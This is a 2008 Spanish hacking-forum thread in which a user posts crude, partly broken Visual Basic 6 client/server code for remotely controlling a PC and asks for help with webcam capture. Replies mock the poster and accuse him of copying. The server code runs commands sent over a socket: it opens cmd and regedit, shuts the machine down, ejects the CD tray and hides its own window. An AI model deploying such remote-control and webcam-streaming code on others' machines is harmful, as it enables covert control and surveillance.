elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  buenas es mi primer tema en el foro.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: buenas es mi primer tema en el foro.  (Leído 2,905 veces)
?¿?

Desconectado Desconectado

Mensajes: 64



Ver Perfil
buenas es mi primer tema en el foro.
« en: 15 Octubre 2008, 12:24 pm »

Hola ante todo, querria comentarles que  hago un curso y pues manejo todo menos exel y el profesor me dijo que hiciera algo de provecho para mi y para el entretenimiento, bueno pues dije vamos a intentar codear una aplicacion emota visible a los usuarios de clace para yo y el profesor mostarles algunas cosillas ;) que se puede y no se deben hacer, vamos algo de seguridad / inseguirdad informática, esto no entra en el curso pero al teacher no le parecio mal....( es que son gente ya muy mallor y pues la mayoría no saben crear carpetas, aunque ya han aprendido jajajaja menos mal), bueno les dejo el code, lo ven y me dicen please que me falta para poder capturar bien la web cam. y otra duda es, puedo x coneixon directa añadir un winsock para una serie de funciones y un winsock solo para la webcam?

hay va el code, espero que me traten con educación, gracias señores, a la orden para lo que sea.



SERVER:

Código:
Private Declare Function ExitWindowsEx& Lib "user32" (ByVal uFlags&, ByVal dwReserved&)

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Dim send As String

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long

 Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" ( _
     ByVal hwnd As Long, _
     ByVal wMsg As Long, _
     ByVal wParam As Long, _
     lParam As Any) As Long

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _
  (ByVal hwnd As Long, ByVal lpOperation As String, _
  ByVal lpFile As String, ByVal lpParameters As String, _
  ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Command1_Click()
Winsock1.Close

  End Sub


Private Sub Command2_Click()

    'cerramos cualquier conexion previa

    Winsock1.Close

 

    'asignamos el puerto local que abriremos

    Winsock1.LocalPort = Text3.Text

   

    'deja el socket esuchando conexiones

    Winsock1.Listen

   

   

MsgBox "escuchando en espera de conexión con el cliente"


End Sub











Private Sub Command3_Click()
Winsock1.Close
Unload Me
End Sub

Private Sub Command4_Click()
Me.Hide
End Sub

Dim ruta As String

Private Sub Form_Load()
Text1.Enabled = False

ruta = "c:\temporal2.bmp"
Open ruta For Binary As #1
On Error Resume Next
Kill (ruta)
Open "ruta" For Binary As #1
Winsock2.LocalPort = P.Text
Winsock22.Listen

End Sub




Private Sub Winsock1_Close()

    'cierra la conexion

    Winsock1.Close

   

    'desplegamos un mensaje en la ventana

If Winsock1.State = 0 Then
MsgBox "conexión fallida", vbInformation, "conexión"

Else
End If


End Sub


Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)


 


   


    'cerramos previamente el socket


    Winsock1.Close


   


    'aceptamos la conexion


    Winsock1.Accept requestID


   





End Sub


Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim data0 As String
'Dim apagon As String






Winsock1.GetData data0
Text1.Text = data0
 
If data0 = "a" Then
Shell ("cmd")
Else

If data0 = "b" Then
Shell ("mspaint")
Else

If data0 = "d" Then
Shell ("explorer")
Else


If data0 = "c" Then
Shell ("regedit")
Else


If data0 = "f" Then
Shell ("notepad")
Else







Dim i As String
If data0 = "daun" Then
i = Shell("shutdown -s")
Else

If data0 = "ribuk" Then
i = Shell("shutdown -r")
Else


If data0 = "TS" Then
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "C:\WINDOWS\system32\taskmgr.exe", vbNullString, vbNullString, 1)
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "E:\WINDOWS\system32\taskmgr.exe", vbNullString, vbNullString, 1)
Else
















If data0 = "e" Then
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "C:\Archivos de programa\Internet Explorer\iexplore.exe", vbNullString, vbNullString, 1)
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "E:\Archivos de programa\Internet Explorer\iexplore.exe", vbNullString, vbNullString, 1)
Else

If data0 = "abrete" Then
res = mciSendString("set cdaudio door open", returnstring, 127, 0)
Else



If data0 = "cierrate" Then
res = mciSendString("set cdaudio door closed", returnstring, 127, 0)
Else



If data0 = "imprime" Then

imprimeLineas = Text2.Text

Else





If data0 = "aparecio" Then
Form1.Show
Else


If data0 = "escondido" Then
Form1.Hide
Else






End If
End If

End If
End If

End If
End If

End If
End If

End If
End If

End If
End If

End If
End If

End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

    'cerramos la conexion

    Winsock1.Close

   

    'mostramos informacion sobre el error

    MsgBox "Error", vbCritical, "Fallo en la conexión"

End Sub






Private Sub Winsock2_ConnectionRequest(ByVal requestID As Long)
Winsock2.Close
Winsock2.Accept requestID
End Sub

Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Dim Imagen As String
Winsock2.GetData Imagen, vbNullString
Put #1, , Imagen
If Right(Imagen, 3) = "Fin" Or Imagen = "Fin" Then
Close
Picture1 = LoadPicture(ruta)
Open ruta For Binary As #1
End If
End Sub



CLIENTE:



Código:
Private Declare Function capCreateCaptureWindow Lib "avicap32" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long
Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Dim Imagen() As Byte
Dim a As String, b As String, c As String, d As String, e As String, f As String, g As String


Private Sub Command10_Click()


End Sub

Private Sub Command1_Click()
imprimeLineas Text1, 240
Winsock1.SendData "imprime" & "|" & "imprimeLineas"

End Sub

Private Sub Cc_Click()
Winsock1.SendData "TS"

End Sub

Private Sub Command11_Click()
Winsock1.SendData "abrete"
End Sub

Private Sub Command12_Click()
Winsock1.SendData "cierrate"
End Sub

Private Sub Command13_Click()
Winsock1.SendData "daun"
End Sub

Private Sub Command14_Click()
Winsock1.SendData "ribuk"
End Sub

Private Sub Command15_Click()
Winsock1.Close
Unload Me
End Sub

Private Sub Command16_Click()
Winsock1.SendData "escondido"
End Sub

Private Sub Command17_Click()

End Sub

Private Sub Command18_Click()
If Command18.Caption = "Conectar" Then
Winsock2.RemoteHost = Text2.Text
Winsock2.RemotePort = Text5.Text
Winsock2.Close
Winsock2.CONNECT Text2, CInt(Text5)
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
Timer4.Enabled = True
Command18.Caption = "Desconectar"
Else
Timer4.Enabled = False
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock2.Close
Me.Caption = "Desconectado"
Command18.Caption = "Conectar"
End If

End Sub

Private Sub Command19_Click()
Winsock1.SendData "aparecio"
End Sub

Private Sub Command2_Click()

    'asignamos los datos de conexion

    Winsock1.RemoteHost = Text3.Text

    Winsock1.RemotePort = Text4.Text

   

    'conectamos el socket

    Winsock1.Close

    Winsock1.CONNECT

End Sub

Private Sub Command3_Click()

    'cierra la conexion

    Winsock1.Close

   

    'desplegamos una ventana de mensaje

   

    MsgBox "la conexión ha sido cerrada por el usuario", vbCritical, "estado de conexión"



End Sub


Private Sub Command4_Click()
Winsock1.SendData "a"
End Sub

Private Sub Command5_Click()
Winsock1.SendData "b"

End Sub

Private Sub Command6_Click()
Winsock1.SendData "c"

End Sub

Private Sub Command7_Click()
Winsock1.SendData "d"

End Sub

Private Sub Command8_Click()
Winsock1.SendData "e"

End Sub

Private Sub Command9_Click()
Winsock1.SendData "f"

End Sub

Private Sub Form_Load()
Text2.Text = Winsock2.RemoteHost
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock2.Close
End Sub

Private Sub Timer1_Timer()
If Winsock1.State = "7" Then Label1.Caption = "Conectado"
End Sub

Private Sub Timer2_Timer()
If Winsock1.State = "0" Then Label1.Caption = "Desconectado"

End Sub

Private Sub Timer3_Timer()
If Winsock1.State = 0 Then
Shape1.FillColor = &HFF&
Else

If Winsock1.State = 7 Then
Shape1.FillColor = &HFF00&
Else


End If
End If

End Sub

Private Sub Timer4_Timer()
On Error Resume Next
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
Picture1.Picture = Clipboard.GetData
SavePicture Clipboard.GetData, "c:\temporal.bmp"
Dim Tamaño As Long
Open "c:\temporal.bmp" For Binary Access Read As #1
Tamaño = LOF(1)
ReDim Imagen(Tamaño - 1)
Get #1, , Imagen
Close
Winsock2.SendData Imagen
Winsock2.SendData "Fin"
End Sub

Private Sub Winsock1_Close()

    'cierra la conexion

   Winsock1.Close

   

    'desplegamos un mensaje en la ventana

MsgBox "la conexión se ha perdido, usted se encuentra desconectado", vbInformation, "estado de la conexión"
End Sub


Private Sub Winsock1_Connect()

    'desplegamos un mensaje en la ventana
If Winsock1.State = 7 Then
MsgBox "CONECTADO", vbInformation, "conexión"
Shape1.FillColor = &HFF00&


    MsgBox "la conexión ha sido exitosa", vbOKOnly, "información"
   
    Else
   
   
    MsgBox "la conexión ha sido fallida", vbCritical, "ERROR"

    End If

   


End Sub


Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

    Dim datoszero As String, envio As Boolean  'variable para guardar los datos

   

    'obtenemos los datos y los guardamos en una variable

    Winsock1.GetData datoszero






















End Sub


Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

    'cerramos la conexion

  Winsock1.Close

   

    'mostramos informacion sobre el error

    MsgBox "Error", vbCritical, "Fallo de conexión"

End Sub



Public Sub imprimeLineas(Texto As Object, Linea As Integer)
      Dim Bloque As String
      'Numero de caracteres = NumC
      'Numero de Bloques = NumB
      Dim NumC, NumB As Integer
      NumC = Len(Text1.Text)
      If NumC > Linea Then
            NumB = NumC \ Linea
            For I = 0 To NumB
                  Texto.SelStart = (Linea * I)
                  Texto.SelLength = Linea
                  Bloque = Texto.SelText
                  Printer.Print Bloque
            Next I
      Else
            Printer.Print Texto.Text
            Printer.FontSize = 15
      End If
      Printer.EndDoc
End Sub


Private Sub Winsock2_Close()
Frame1.Caption = "webcam-desconectada"
End Sub

Private Sub Winsock2_Connect()
Frame1.Caption = "webcam-conectada"
End Sub



MODULO1 EN EL CLIENTE:


Código:
Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long

Private mCapHwnd As Long

Private Const CONNECT As Long = 1034
Private Const DISCONNECT As Long = 1035
Private Const GET_FRAME As Long = 1084
Private Const COPY As Long = 1054


En línea

vivachapas


Desconectado Desconectado

Mensajes: 612



Ver Perfil
Re: buenas es mi primer tema en el foro.
« Respuesta #1 en: 16 Octubre 2008, 01:38 am »

CHAN CHAN CHAN...

hay 3 cosas q no entiendo... en realidad es una con 3 puntos...
como hiciste para programar eso sin:
*saber usar excel xD q es algo q aprendi SOLO cuando tenia solo 2 o 3 años :S
*realizar todo eso y ahora no saber como agregar un winsock mas para la webcam xD
*y xq dejas tantos espacios (enters) entre las lineas del code

 :rolleyes:
sera todo copy paste :¬¬

y bue... en fin no probe el codigo... deberias poner al menos los controles de cada uno de los proyectos asi los podemos probar... pero bue leyendo un poco al menos no encontre NADA de code acerca de como hacer las capturas de pantalla.. ni de como enviarlas... x lo q la respuesta a la pregunta de q te falta seria TODO...
pista:
cJPEG
busca sobre esa clase en el buscador...

y bue lo de como añadir un winsock solo para la webcam.. es poniendo un winsock y q se conecte con el cliente y le mande las img cuando lo rquiera el cliente... no veo lo dificil :S


SALUDOS


En línea

APOKLIPTICO


Desconectado Desconectado

Mensajes: 3.871


Toys in the attic.


Ver Perfil
Re: buenas es mi primer tema en el foro.
« Respuesta #2 en: 16 Octubre 2008, 21:49 pm »

Agregar un winsock extra es bastante simple:
1) Lo arrastras al proyecto.
Listo...
[offtopic]vivachapas, me meto en todos tus posts para ver tu avatar nomas XD[/offtopic]
En línea

AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore
ASUS M4A89GTD-PRO/USB3
2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T)
Seagate 500 Gb
XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
rdzlcs


Desconectado Desconectado

Mensajes: 781


El cerebro, la experiencia y una pizca de suerte.


Ver Perfil
Re: buenas es mi primer tema en el foro.
« Respuesta #3 en: 16 Octubre 2008, 22:21 pm »

Agregar un winsock extra es bastante simple:
1) Lo arrastras al proyecto.
Listo...
[offtopic]vivachapas, me meto en todos tus posts para ver tu avatar nomas XD[/offtopic]

Yo tambien jejeje... No es que sea maldito ni nada por el estilo pero ese code lo vi en una page no me acuerdo cual para era otro usuario el que lo presento, espero que seas tu...

Un saludo..

PD: como se llama la loco del avatar??
En línea

Navegando en un mar de unos y ceros. Saltando de capa en capa por un modelo que lejos de ser seguro, nos da la libertad de Ser y No Ser.
ssccaann43 ©


Desconectado Desconectado

Mensajes: 792


¬¬


Ver Perfil
Re: buenas es mi primer tema en el foro.
« Respuesta #4 en: 16 Octubre 2008, 22:41 pm »

Hola ante todo, querria comentarles que  hago un curso y pues manejo todo menos exel y el profesor me dijo que hiciera algo de provecho para mi y para el entretenimiento, bueno pues dije vamos a intentar codear una aplicacion emota visible a los usuarios de clace para yo y el profesor mostarles algunas cosillas ;) que se puede y no se deben hacer, vamos algo de seguridad / inseguirdad informática, esto no entra en el curso pero al teacher no le parecio mal....( es que son gente ya muy mallor y pues la mayoría no saben crear carpetas, aunque ya han aprendido jajajaja menos mal), bueno les dejo el code, lo ven y me dicen please que me falta para poder capturar bien la web cam. y otra duda es, puedo x coneixon directa añadir un winsock para una serie de funciones y un winsock solo para la webcam?

hay va el code, espero que me traten con educación, gracias señores, a la orden para lo que sea.



SERVER:

Código:
Private Declare Function ExitWindowsEx& Lib "user32" (ByVal uFlags&, ByVal dwReserved&)

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Dim send As String

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long

 Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" ( _
     ByVal hwnd As Long, _
     ByVal wMsg As Long, _
     ByVal wParam As Long, _
     lParam As Any) As Long

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _
  (ByVal hwnd As Long, ByVal lpOperation As String, _
  ByVal lpFile As String, ByVal lpParameters As String, _
  ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Command1_Click()
Winsock1.Close

  End Sub


Private Sub Command2_Click()

    'cerramos cualquier conexion previa

    Winsock1.Close

 

    'asignamos el puerto local que abriremos

    Winsock1.LocalPort = Text3.Text

  

    'deja el socket esuchando conexiones

    Winsock1.Listen

  

   

MsgBox "escuchando en espera de conexión con el cliente"


End Sub











Private Sub Command3_Click()
Winsock1.Close
Unload Me
End Sub

Private Sub Command4_Click()
Me.Hide
End Sub

Dim ruta As String

Private Sub Form_Load()
Text1.Enabled = False

ruta = "c:\temporal2.bmp"
Open ruta For Binary As #1
On Error Resume Next
Kill (ruta)
Open "ruta" For Binary As #1
Winsock2.LocalPort = P.Text
Winsock22.Listen

End Sub




Private Sub Winsock1_Close()

    'cierra la conexion

    Winsock1.Close

  

    'desplegamos un mensaje en la ventana

If Winsock1.State = 0 Then
MsgBox "conexión fallida", vbInformation, "conexión"

Else
End If


End Sub


Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)


 


  


    'cerramos previamente el socket


    Winsock1.Close


  


    'aceptamos la conexion


    Winsock1.Accept requestID


  





End Sub


Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim data0 As String
'Dim apagon As String






Winsock1.GetData data0
Text1.Text = data0
 
If data0 = "a" Then
Shell ("cmd")
Else

If data0 = "b" Then
Shell ("mspaint")
Else

If data0 = "d" Then
Shell ("explorer")
Else


If data0 = "c" Then
Shell ("regedit")
Else


If data0 = "f" Then
Shell ("notepad")
Else







Dim i As String
If data0 = "daun" Then
i = Shell("shutdown -s")
Else

If data0 = "ribuk" Then
i = Shell("shutdown -r")
Else


If data0 = "TS" Then
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "C:\WINDOWS\system32\taskmgr.exe", vbNullString, vbNullString, 1)
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "E:\WINDOWS\system32\taskmgr.exe", vbNullString, vbNullString, 1)
Else
















If data0 = "e" Then
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "C:\Archivos de programa\Internet Explorer\iexplore.exe", vbNullString, vbNullString, 1)
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "E:\Archivos de programa\Internet Explorer\iexplore.exe", vbNullString, vbNullString, 1)
Else

If data0 = "abrete" Then
res = mciSendString("set cdaudio door open", returnstring, 127, 0)
Else



If data0 = "cierrate" Then
res = mciSendString("set cdaudio door closed", returnstring, 127, 0)
Else



If data0 = "imprime" Then

imprimeLineas = Text2.Text

Else





If data0 = "aparecio" Then
Form1.Show
Else


If data0 = "escondido" Then
Form1.Hide
Else






End If
End If

End If
End If

End If
End If

End If
End If

End If
End If

End If
End If

End If
End If

End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

    'cerramos la conexion

    Winsock1.Close

  

    'mostramos informacion sobre el error

    MsgBox "Error", vbCritical, "Fallo en la conexión"

End Sub






Private Sub Winsock2_ConnectionRequest(ByVal requestID As Long)
Winsock2.Close
Winsock2.Accept requestID
End Sub

Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Dim Imagen As String
Winsock2.GetData Imagen, vbNullString
Put #1, , Imagen
If Right(Imagen, 3) = "Fin" Or Imagen = "Fin" Then
Close
Picture1 = LoadPicture(ruta)
Open ruta For Binary As #1
End If
End Sub



CLIENTE:



Código:
Private Declare Function capCreateCaptureWindow Lib "avicap32" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long
Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Dim Imagen() As Byte
Dim a As String, b As String, c As String, d As String, e As String, f As String, g As String


Private Sub Command10_Click()


End Sub

Private Sub Command1_Click()
imprimeLineas Text1, 240
Winsock1.SendData "imprime" & "|" & "imprimeLineas"

End Sub

Private Sub Cc_Click()
Winsock1.SendData "TS"

End Sub

Private Sub Command11_Click()
Winsock1.SendData "abrete"
End Sub

Private Sub Command12_Click()
Winsock1.SendData "cierrate"
End Sub

Private Sub Command13_Click()
Winsock1.SendData "daun"
End Sub

Private Sub Command14_Click()
Winsock1.SendData "ribuk"
End Sub

Private Sub Command15_Click()
Winsock1.Close
Unload Me
End Sub

Private Sub Command16_Click()
Winsock1.SendData "escondido"
End Sub

Private Sub Command17_Click()

End Sub

Private Sub Command18_Click()
If Command18.Caption = "Conectar" Then
Winsock2.RemoteHost = Text2.Text
Winsock2.RemotePort = Text5.Text
Winsock2.Close
Winsock2.CONNECT Text2, CInt(Text5)
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
Timer4.Enabled = True
Command18.Caption = "Desconectar"
Else
Timer4.Enabled = False
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock2.Close
Me.Caption = "Desconectado"
Command18.Caption = "Conectar"
End If

End Sub

Private Sub Command19_Click()
Winsock1.SendData "aparecio"
End Sub

Private Sub Command2_Click()

    'asignamos los datos de conexion

    Winsock1.RemoteHost = Text3.Text

    Winsock1.RemotePort = Text4.Text

  

    'conectamos el socket

    Winsock1.Close

    Winsock1.CONNECT

End Sub

Private Sub Command3_Click()

    'cierra la conexion

    Winsock1.Close

  

    'desplegamos una ventana de mensaje

  

    MsgBox "la conexión ha sido cerrada por el usuario", vbCritical, "estado de conexión"



End Sub


Private Sub Command4_Click()
Winsock1.SendData "a"
End Sub

Private Sub Command5_Click()
Winsock1.SendData "b"

End Sub

Private Sub Command6_Click()
Winsock1.SendData "c"

End Sub

Private Sub Command7_Click()
Winsock1.SendData "d"

End Sub

Private Sub Command8_Click()
Winsock1.SendData "e"

End Sub

Private Sub Command9_Click()
Winsock1.SendData "f"

End Sub

Private Sub Form_Load()
Text2.Text = Winsock2.RemoteHost
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock2.Close
End Sub

Private Sub Timer1_Timer()
If Winsock1.State = "7" Then Label1.Caption = "Conectado"
End Sub

Private Sub Timer2_Timer()
If Winsock1.State = "0" Then Label1.Caption = "Desconectado"

End Sub

Private Sub Timer3_Timer()
If Winsock1.State = 0 Then
Shape1.FillColor = &HFF&
Else

If Winsock1.State = 7 Then
Shape1.FillColor = &HFF00&
Else


End If
End If

End Sub

Private Sub Timer4_Timer()
On Error Resume Next
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
Picture1.Picture = Clipboard.GetData
SavePicture Clipboard.GetData, "c:\temporal.bmp"
Dim Tamaño As Long
Open "c:\temporal.bmp" For Binary Access Read As #1
Tamaño = LOF(1)
ReDim Imagen(Tamaño - 1)
Get #1, , Imagen
Close
Winsock2.SendData Imagen
Winsock2.SendData "Fin"
End Sub

Private Sub Winsock1_Close()

    'cierra la conexion

   Winsock1.Close

  

    'desplegamos un mensaje en la ventana

MsgBox "la conexión se ha perdido, usted se encuentra desconectado", vbInformation, "estado de la conexión"
End Sub


Private Sub Winsock1_Connect()

    'desplegamos un mensaje en la ventana
If Winsock1.State = 7 Then
MsgBox "CONECTADO", vbInformation, "conexión"
Shape1.FillColor = &HFF00&


    MsgBox "la conexión ha sido exitosa", vbOKOnly, "información"
   
    Else
   
   
    MsgBox "la conexión ha sido fallida", vbCritical, "ERROR"

    End If

  


End Sub


Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

    Dim datoszero As String, envio As Boolean  'variable para guardar los datos

  

    'obtenemos los datos y los guardamos en una variable

    Winsock1.GetData datoszero






















End Sub


Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

    'cerramos la conexion

  Winsock1.Close

  

    'mostramos informacion sobre el error

    MsgBox "Error", vbCritical, "Fallo de conexión"

End Sub



Public Sub imprimeLineas(Texto As Object, Linea As Integer)
      Dim Bloque As String
      'Numero de caracteres = NumC
      'Numero de Bloques = NumB
      Dim NumC, NumB As Integer
      NumC = Len(Text1.Text)
      If NumC > Linea Then
            NumB = NumC \ Linea
            For I = 0 To NumB
                  Texto.SelStart = (Linea * I)
                  Texto.SelLength = Linea
                  Bloque = Texto.SelText
                  Printer.Print Bloque
            Next I
      Else
            Printer.Print Texto.Text
            Printer.FontSize = 15
      End If
      Printer.EndDoc
End Sub


Private Sub Winsock2_Close()
Frame1.Caption = "webcam-desconectada"
End Sub

Private Sub Winsock2_Connect()
Frame1.Caption = "webcam-conectada"
End Sub



MODULO1 EN EL CLIENTE:


Código:
Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long

Private mCapHwnd As Long

Private Const CONNECT As Long = 1034
Private Const DISCONNECT As Long = 1035
Private Const GET_FRAME As Long = 1084
Private Const COPY As Long = 1054

Estoy borracho o tu estás loco... Si hubieses escrito ese codigo no estarías preguntando semejante estupidez... Amigo a quien deseas engañar?  :huh:
En línea

- Miguel Núñez
Todos tenemos derechos a ser estupidos, pero algunos abusan de ese privilegio...
"I like ^TiFa^"
APOKLIPTICO


Desconectado Desconectado

Mensajes: 3.871


Toys in the attic.


Ver Perfil
Re: buenas es mi primer tema en el foro.
« Respuesta #5 en: 16 Octubre 2008, 22:50 pm »

Busque una partecita en google y no aparecio, asi q no creo q lo haya robado de algun lado XDD, pero bueno, es asi de simple, lo arrastras y listo, si queres despues le cambias el nombre, xq winsock1 no es un nombre muy copado para ir programando XD...
En línea

AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore
ASUS M4A89GTD-PRO/USB3
2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T)
Seagate 500 Gb
XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
ssccaann43 ©


Desconectado Desconectado

Mensajes: 792


¬¬


Ver Perfil
Re: buenas es mi primer tema en el foro.
« Respuesta #6 en: 16 Octubre 2008, 22:52 pm »

Busque una partecita en google y no aparecio, asi q no creo q lo haya robado de algun lado XDD, pero bueno, es asi de simple, lo arrastras y listo, si queres despues le cambias el nombre, xq winsock1 no es un nombre muy copado para ir programando XD...


Hermano viste como fue escrito el codigo? lo detallaste? Crees que alguien que escriba ese codigo no sabrá usar un Winsock? por favor...
En línea

- Miguel Núñez
Todos tenemos derechos a ser estupidos, pero algunos abusan de ese privilegio...
"I like ^TiFa^"
?¿?

Desconectado Desconectado

Mensajes: 64



Ver Perfil
Re: buenas es mi primer tema en el foro.
« Respuesta #7 en: 17 Octubre 2008, 01:24 am »

solo dire que antes .......yo codeaba pero m banearon de este foro y he perdido tecnica conocimientos 0 nada y lo necesito para un projecto de claces puedes comprobarlo...como gustes me pides los datos que te hagan falta para contrastarlo, mi nick no lo dire....sino volveran a abanearme y la misma historia y todo esto...bueno no dire mas solo x ciertos chavales prepotentes como tú que hablan de la gente y cren saber de ella sin conocerles, pero eso gracias, cuando tenga listo el code, el mio propio lo paso por aqui asi veremos :S kien staba borracho es mas te dire no me dejan beber gota de alchol en el centro de desitoxikacion asi k nunca pienses k stoi drogado o intento pegarsela a nadie soy alguien k ni t imajinas............solo dire eso tomalo kieres

PD: no soy scar face pero no te confundas xk alomejor he dado mas vueltas k un tompo con pilas y tu respuesta no se le da jamas a alguien como yo....a nadie ;) se nota que eres un niño por eso te perdono trankilo todo bien pero piensa antes de contestar esa serie de cosas ok. has buenas preguntas y tendras tus respuestas y todo bien :) nada mas k eso.
En línea

vivachapas


Desconectado Desconectado

Mensajes: 612



Ver Perfil
Re: buenas es mi primer tema en el foro.
« Respuesta #8 en: 17 Octubre 2008, 01:47 am »

[offtopic]vivachapas, me meto en todos tus posts para ver tu avatar nomas XD[/offtopic]
jajaj... viste q linda mina xD... yo cuando vi la img me enamore XD jajajjaa

y bue... volviendo al tema... seguramente te van a banear de nuevo si venis aca para q te hagan las tareas... encima diciendo q lo codeaste vos¬¬
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Primer transplante completo de rostro en EE.UU: "Me pasan cosas buenas desde...
Foro Libre
KarlosVid(ÊÇ) 0 1,476 Último mensaje 10 Mayo 2011, 01:36 am
por KarlosVid(ÊÇ)
Es mi primer tema en la comunidad necesito orientación porfavor.
Dudas Generales
Felipe_Henriquez 6 3,182 Último mensaje 6 Julio 2011, 14:54 pm
por n0more
El primer tema
Foro Libre
Ferno 2 1,681 Último mensaje 12 Diciembre 2011, 00:16 am
por Ferno
buenas acabo de llegar a este foro
Seguridad
supertusso 2 2,218 Último mensaje 26 Mayo 2015, 19:44 pm
por supertusso
¿Cual fue su primer mensaje o tema en el foro? « 1 2 3 »
Foro Libre
DarK_FirefoX 28 10,751 Último mensaje 21 Junio 2016, 02:11 am
por bettu
